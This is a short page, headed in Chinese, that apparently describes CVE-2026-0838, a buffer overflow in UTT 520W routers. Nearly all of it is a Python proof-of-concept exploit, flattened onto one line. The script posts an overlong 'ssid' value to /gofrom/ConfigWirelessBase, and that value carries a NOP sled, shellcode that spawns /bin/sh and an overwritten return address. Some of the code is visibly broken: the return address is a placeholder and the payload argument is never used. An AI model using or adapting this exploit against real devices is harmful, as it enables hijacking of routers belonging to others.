CVE-2026-0838 UTT路由器ConfigWirelessBase缓冲区溢出漏洞

#!/usr/bin/env python3 # CVE-2026-0838 PoC - UTT Router Buffer Overflow # Target: UTT 进取 520W < 1.7.7-180627 # Module: /gofrom/ConfigWirelessBase import requests import sys def exploit_buffer_overflow(target_ip, ssid_payload): """ Send malicious ssid parameter to trigger buffer overflow in strcpy function at /gofrom/ConfigWirelessBase Args: target_ip: Target router IP address ssid_payload: Oversized string to overflow buffer """ url = f"http://{target_ip}/gofrom/ConfigWirelessBase" # Construct payload with NOP sled + shellcode # NOP sled (0x90) helps ensure reliable execution nop_sled = b"\x90" * 100 # Example shellcode: spawn /bin/sh shell # This is a simplified example shellcode shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" payload = nop_sled + shellcode # Padding to reach return address overwrite padding = b"A" * (1000 - len(payload)) # Return address pointing to NOP sled return_addr = b"\xaa\xbb\xcc\xdd" # Should be adjusted based on firmware analysis exploit_data = payload + padding + return_addr data = { "ssid": exploit_data.decode('latin-1'), "action": "save" } try: response = requests.post(url, data=data, timeout=10) print(f"[*] Payload sent to {url}") print(f"[*] Payload length: {len(exploit_data)} bytes") return response.status_code except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) target = sys.argv[1] print(f"[*] Exploiting CVE-2026-0838 on {target}") exploit_buffer_overflow(target, "A" * 1500)